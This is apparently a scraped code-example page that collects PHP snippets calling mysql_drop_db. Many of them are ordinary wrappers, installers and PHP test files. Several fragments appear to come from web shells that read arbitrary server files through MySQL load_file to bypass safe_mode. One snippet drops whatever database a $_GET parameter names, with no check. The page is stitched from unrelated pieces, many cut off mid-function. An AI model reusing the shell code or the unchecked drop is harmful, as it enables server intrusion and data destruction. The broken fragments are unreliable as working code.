Exemplo n.º 1
0
 function DropDatabase(&$db, $name)
 {
     if (!$db->Connect()) {
         return 0;
     }
     if (function_exists("mysql_drop_db")) {
         $success = mysql_drop_db($name, $db->connection);
     } else {
         $db->EscapeText($name);
         $success = mysql_query("DROP DATABASE {$name}", $db->connection);
     }
     if (!$success) {
         return $db->SetError("Drop database", mysql_error($db->connection));
     }
     return 1;
 }
                                 $name = mysql_field_name($result, $i);
                             }
                             $f = "";
                             while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
                                 $f .= join("\r\n", $row);
                             }
                             if (empty($f)) {
                                 echo "<b>File \"" . $sql_getfile . "\" does not exists or empty!</b><br>";
                             } else {
                                 echo "<b>File \"" . $sql_getfile . "\":</b><br>" . nl2br(htmlspecialchars($f)) . "<br>";
                             }
                             mysql_free_result($result);
                             mysql_query("DROP TABLE tmp_file;");
                         }
                     }
                     mysql_drop_db($tmpdb);
                     //comment it if you want to leave database
                 }
             }
         }
     }
     echo "</td></tr></table>";
     if ($sql_sock) {
         $affected = @mysql_affected_rows($sql_sock);
         if (!is_numeric($affected) or $affected < 0) {
             $affected = 0;
         }
         echo "<tr><td><center><b>Affected rows: " . $affected . "</center></td></tr>";
     }
     echo "</table>";
 }
Exemplo n.º 3
0
<?php

try {
    mysql_drop_db('');
} catch (Exception $e) {
    echo $e->getMessage(), "\n";
}
Exemplo n.º 4
0
        print "<head><META HTTP-EQUIV='Refresh' CONTENT='1;url={$self}?s={$s}&login={$login}&passwd={$passwd}&server={$server}&port={$port}'></head>";
    } else {
        die("{$h_error}" . mysql_error() . "{$f_error} <head><META HTTP-EQUIV='Refresh' CONTENT='2;url={$self}?s={$s}&login={$login}&passwd={$passwd}&server={$server}&port={$port}'></head>");
    }
    unset($new_db);
}
/*Удаление базы*/
if (isset($_GET['drop'])) {
    $result_d = mysql_list_dbs($connection) or die("<td bgcolor=#DAD9D9>{$h_error}" . mysql_error() . "{$f_error}</td></tr></table>");
    while ($row_d = mysql_fetch_row($result_d)) {
        if ($drop == $row_d[0]) {
            $dr = "TRUE";
        }
    }
    if ($dr == "TRUE") {
        mysql_drop_db($drop, $connection);
        print "<center><font size=2>База <b>{$drop}</b> успешно удалена...</font></center><br>";
        print "<head><META HTTP-EQUIV='Refresh' CONTENT='1;url={$self}?s={$s}&login={$login}&passwd={$passwd}&server={$server}&port={$port}'></head>";
    }
    unset($drop);
}
/*-------------Читаем произвольный файл сервера-----------*/
if (isset($f)) {
    print $form_file;
}
if (isset($p_file)) {
    // mysql_create_db("tmp_bd",$connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
    // mysql_create_db("tmp_bd") or die("$h_error<b>".mysql_error()."</b>$f_error");
    // mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );') or die("$h_error<b>".mysql_error()."</b>$f_error");
    $result = mysql_query("SELECT hex(load_file('" . addslashes($p_file) . "')) as `fc`") or die("{$h_error}<b>" . mysql_error() . "</b>{$f_error}");
    // $query = "SELECT * FROM tmp_file";
Exemplo n.º 5
0
 function dropDB($DBName)
 {
     /* 丢弃(删除)一个 MySQL 数据库 */
     return mysql_drop_db($DBName, $this->LinkId);
 }
Exemplo n.º 6
0
 function install($dbfile, $datafile = "", &$returnArr)
 {
     $createCount = 0;
     $fillCount = 0;
     if (mysql_drop_db($this->_dbname)) {
         $returnArr[0] = "Dropping database: {$this->_dbname}.<br>...Done";
     } else {
         $returnArr[0] = "Using new database.<br>...Done";
     }
     if (mysql_create_db($this->_dbname)) {
         $returnArr[1] = "Creating database: {$this->_dbname}.<br>...Done";
     } else {
         new ErrorHandler(get_class($this), "install", "", "could not create database: {$this->_dbname}");
     }
     if (!mysql_select_db($this->_dbname)) {
         new ErrorHandler(get_class($this), "install", "", "could not select database: {$this->_dbname}");
     } else {
         $returnArr[2] = "Using database: {$this->_dbname}.<br>...Done";
     }
     if (!file($dbfile)) {
         new ErrorHandler(get_class($this), "install", "", "could not open {$dbfile}");
     } else {
         $createCount = $this->installFile($dbfile);
         $returnArr[3] = "Creating tables.<br>...Done<br>{$createCount} queries affected";
     }
     if ($datafile != "") {
         if (!file($datafile)) {
             new ErrorHandler(get_class($this), "install", "", "could not open {$datafile}");
         } else {
             $fillCount = $this->installFile($datafile);
             $returnArr[4] = "Filling tables.<br>...Done<br>{$fillCount} queries affected";
         }
     }
     return true;
 }
Exemplo n.º 7
0
                                 $name = mysql_field_name($result, $i);
                             }
                             $f = "";
                             while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
                                 foreach ($line as $key => $col_value) {
                                     $f .= $col_value;
                                 }
                             }
                             if (empty($f)) {
                                 echo "<b>File \"" . $sql_getfile . "\" does not exists or empty!</b>";
                             } else {
                                 echo "<b>File \"" . $sql_getfile . "\":</b><br>" . nl2br(htmlspecialchars($f));
                             }
                         }
                         mysql_free_result($result);
                         if (!mysql_drop_db("tmp_bd")) {
                             echo "Can't drop tempory DB \"tmp_bd\"!";
                         }
                     }
                 }
             }
         }
     }
     echo "</tr></table></table>";
 }
 if ($act == "mkdir") {
     if ($mkdir != $d) {
         if (file_exists($mkdir)) {
             echo "<b>Make Dir \"" . htmlspecialchars($mkdir) . "\"</b>: object alredy exists";
         } elseif (!mkdir($mkdir)) {
             echo "<b>Make Dir \"" . htmlspecialchars($mkdir) . "\"</b>: access denied";
function dropDatabase()
{
    global $mysqlHandle, $dbname, $PHP_SELF;
    mysql_drop_db($dbname, $mysqlHandle);
    listDatabases();
}
Exemplo n.º 9
0
 /**
  * @param $db_name
  * @return bool
  */
 public function dropDB($db_name)
 {
     // for PHP4
     if ($this->mode == self::MODE_MYSQL && function_exists('mysql_drop_db')) {
         if (mysql_drop_db($db_name, $this->linkId)) {
             return true;
         }
     } else {
         $sql = "DROP DATABASE " . $this->escapeColumn(":DB") . ";";
         $query = $this->createQuery()->queryExecute($sql, array("DB" => $db_name));
         return $query->getResult() ? true : false;
     }
     return false;
 }
Exemplo n.º 10
0
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>Admin top page</title>
</head>

<body background="rlaemb.JPG">

<!--create or drop database-->
<?php 
include "admin_access.inc";
include 'rla_functions.inc';
if ($create) {
    $action = $action;
    if ($action == "Create a DB") {
        $result = mysql_create_db($dbname, $contid);
    } elseif ($action == "Drop a DB") {
        $result = mysql_drop_db($dbname, $contid);
    }
    $outcome = '<h2><font size="5">';
    if ($result) {
        $outcome = "Database \"{$dbname}\" has been {$action} successfully.<br>";
    } else {
        $outcome = "Database \"{$dbname}\" has failed to be {$action} .<br>";
    }
    $outcome = $outcome . '</font></h2>';
    $outcome = $outcome . '<a href="admin_dbedit_top.php">Create or drop Database</a>';
}
?>

<!--Change DB-->
<div align="center">
  <center>
Exemplo n.º 11
0
 /**
  * Delete database
  * 
  * @database - database name
  * @returns true if succeed       
  *   
  */
 public function delete_database($tablename)
 {
     return @mysql_drop_db($tablename);
 }
Exemplo n.º 12
0
 function mysql_dropdb($database, $link = null)
 {
     return mysql_drop_db($database, $link);
 }
Exemplo n.º 13
0
include_once "connect.inc";
$tmp = NULL;
$link = NULL;
// NOTE: again this test does not test all of the behaviour of the function
if (NULL !== ($tmp = mysql_drop_db())) {
    printf("[001] Expecting NULL/NULL, got %s/%s\n", gettype($tmp), $tmp);
}
require 'table.inc';
if (!mysql_query('DROP DATABASE IF EXISTS mysqldropdb')) {
    printf("[004] [%d] %s\n", mysql_errno($link), mysql_error($link));
}
if (!mysql_query('CREATE DATABASE mysqldropdb')) {
    die(sprintf("[005] Skipping, can't create test database. [%d] %s\n", mysql_errno($link), mysql_error($link)));
}
if (true !== ($tmp = mysql_drop_db('mysqldropdb', $link))) {
    printf("[006] Can't drop, got %s/%s. [%d] %s\n", gettype($tmp), $tmp, mysql_errno($link), mysql_error($link));
}
if (false !== ($tmp = mysql_drop_db('mysqldropdb', $link))) {
    printf("[007] Expecting boolean/false, got %s/%s. [%d] %s\n", gettype($tmp), $tmp, mysql_errno($link), mysql_error($link));
}
mysql_close($link);
print "done!\n";
require_once 'connect.inc';
if (!($link = my_mysql_connect($host, $user, $passwd, $db, $port, $socket))) {
    printf("[c001] Cannot connect to the server using host=%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n", $host, $user, $db, $port, $socket);
}
if (!mysql_query("DROP DATABASE IF EXISTS mysqldropdb", $link)) {
    printf("[c002] [%d] %s\n", mysqli_errno($link), mysqli_error($link));
}
mysql_close($link);
<?php

mysql_drop_db("{$_GET['dbname']}");
Exemplo n.º 15
0
print "<b>File content</b>:<br><br>";

for($i=0;$i<mysql_num_fields($result);$i++){

$name=mysql_field_name($result,$i);}

while($line=mysql_fetch_array($result, MYSQL_ASSOC)){

foreach ($line as $key =>$col_value) {

print htmlspecialchars($col_value)."<br>";}}

mysql_free_result($result);

mysql_drop_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>");

}





print $copyr;

die;

}#end of read_file_safe_mode


Exemplo n.º 16
0
    }
    if (!$ret) {
        printf("FAILURE: mysql_drop_db(name, con) failed, [%d] %s\n", mysql_errno($con), mysql_error($con));
    }
    $ret = mysql_create_db($test_db_name);
    if (!$ret) {
        printf("FAILURE: failed to create test database [2], check your setup! FAILURE: [%d] %s\n", mysql_errno($con), mysql_error($con));
    }
    $ret = mysql_drop_db($test_db_name);
    if (!is_bool($ret)) {
        printf("FAILURE: mysql_drop_db(name) did not return boolean value, got %s, [%d] %s\n", gettype($ret), mysql_errno($con), mysql_error($con));
    }
    if (!$ret) {
        printf("FAILURE: mysql_drop_db(name) failed, [%d] %s\n", mysql_errno($con), mysql_error($con));
    }
    $ret = mysql_drop_db($test_db_name, $illegal_link_identifier);
    if (!is_bool($ret)) {
        printf("FAILURE: mysql_drop_db(name, illegal link identifier) did not return boolean value, got %s, [%d] %s\n", gettype($ret), mysql_errno($con), mysql_error($con));
    }
    if ($ret) {
        printf("FAILURE: mysql_drop_db(name, illegal link identifier) failed, [%d] %s\n", mysql_errno($con), mysql_error($con));
    }
}
mysql_close($con);
?>
--EXPECT-EXT/MYSQL-OUTPUT--
SUCCESS: connect

--EXPECT-EXT/MYSQL-PHP-ERRORS--
--EXPECT-EXT/MYSQLI-OUTPUT--
SUCCESS: connect
Exemplo n.º 17
0
 /**
  * DB削除
  *
  * @param $dbname
  * @return bool
  */
 public function dropDB($dbname)
 {
     $success = false;
     // 接続
     $this->connectDB();
     // DB削除
     if ($this->linkId) {
         // for PHP4
         if ($this->mysql_mode == MYSQL_MODE_MYSQL && function_exists('mysql_drop_db')) {
             if (mysql_drop_db($dbname, $this->linkId)) {
                 $success = true;
             }
         } else {
             $sql = 'DROP DATABASE `' . $dbname . "`";
             if ($this->mysql_mode == MYSQL_MODE_MYSQL) {
                 if (mysql_query($sql, $this->linkId)) {
                     $success = true;
                 }
             } else {
                 if ($this->mysql_mode == MYSQL_MODE_MYSQLI) {
                     if (mysqli_query($sql, $this->linkId)) {
                         $success = true;
                     }
                 }
             }
         }
         $this->close();
     }
     return $success;
 }
Exemplo n.º 18
0
	function dbDrop($database, $conexao){
        $this->database = $database;
		$this->conexao  = $conexao;
        return @mysql_drop_db($this->database, $this->conexao);
	}
Exemplo n.º 19
0
 /**
  * Test mysql_drop_db
  *
  * @return boolean
  */
 public function MySQL_Drop_Db_Test()
 {
     return mysql_drop_db('unit_sql_v_2') === true;
 }
Exemplo n.º 20
0
 function drop_db($dbname)
 {
     return @mysql_drop_db($dbname, $this->conn);
 }
Exemplo n.º 21
0
 /**
  * Test mysql_drop_db
  *
  * @return boolean
  */
 public function MySQL_Drop_Db_Test()
 {
     // Connect
     $newDb = 'unit_sql_v_2';
     return mysql_drop_db($newDb) === $this->_object->mysql_drop_db($newDb);
 }
Exemplo n.º 22
0
 function dropdb()
 {
     mysql_drop_db($this->dbdb, $this->connection);
 }